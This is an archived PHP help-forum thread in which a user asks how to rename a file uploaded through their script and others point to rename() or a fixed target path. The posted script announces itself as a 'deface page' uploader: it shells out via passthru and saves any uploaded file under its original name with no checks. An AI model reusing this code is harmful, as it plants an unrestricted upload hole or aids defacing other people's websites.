Tryptamine Posted August 6, 2011 Share Posted August 6, 2011 Hello all, I have a script that allows one file to be uploaded at a time, which is all I need. What I am attempting to do is change the filename to a specific filename. So if I uploaded a file called "something.html" it would upload it, but rename it to "somethingelse.txt" Here's the code I'm using: <?php Echo "Path where deface page will be uploaded: <p>"; $cd = passthru(pwd); $path = $cd; $target_path = "$path"; do if ($_FILES != null) { $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "<br /><br /><font size=3 face=arial color=white>Success!</font>"; } else{ echo "<br /><br /><font size=3 face=arial color=red>Upload failed. =/ Do you have write access?</font>"; } } while ($_FILES = null); echo "$_FILES"; ?> Any suggestions? Link to comment https://forums.phpfreaks.com/topic/244049-changing-the-name-of-an-uploaded-file/ Share on other sites More sharing options...
Plug-in Posted August 6, 2011 Share Posted August 6, 2011 I don't want to seem like an ass by linking you away but watch this tutorial, if it's not in this one it's in one of the 4 parts for the "Uploading Images", you'll see how to do it because Alex is assigning codes to the names I think. Take a look Link to comment https://forums.phpfreaks.com/topic/244049-changing-the-name-of-an-uploaded-file/#findComment-1253316 Share on other sites More sharing options...
Tryptamine Posted August 6, 2011 Author Share Posted August 6, 2011 A tutorial is more than fine, but where's the link? :-\ Link to comment https://forums.phpfreaks.com/topic/244049-changing-the-name-of-an-uploaded-file/#findComment-1253322 Share on other sites More sharing options...
AyKay47 Posted August 6, 2011 Share Posted August 6, 2011 http://php.net/manual/en/function.rename.php Link to comment https://forums.phpfreaks.com/topic/244049-changing-the-name-of-an-uploaded-file/#findComment-1253327 Share on other sites More sharing options...
jcbones Posted August 6, 2011 Share Posted August 6, 2011 The target path is the final name of the file. $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); //this is what the file name is: //change it: $target_path = $target_path . 'somethingelse.txt'; Link to comment https://forums.phpfreaks.com/topic/244049-changing-the-name-of-an-uploaded-file/#findComment-1253365 Share on other sites More sharing options...
Plug-in Posted August 7, 2011 Share Posted August 7, 2011 Woops sorry - usually the link helps Entire tutorial playlist: http://www.youtube.com/phpacademy/#g/c/D541254296A82EEA Uploading [1/4]: http://www.youtube.com/watch?v=IBdrhCPYt5k Link to comment https://forums.phpfreaks.com/topic/244049-changing-the-name-of-an-uploaded-file/#findComment-1253594 Share on other sites More sharing options...
Tryptamine Posted August 7, 2011 Author Share Posted August 7, 2011 Thanks guys! Link to comment https://forums.phpfreaks.com/topic/244049-changing-the-name-of-an-uploaded-file/#findComment-1253794 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.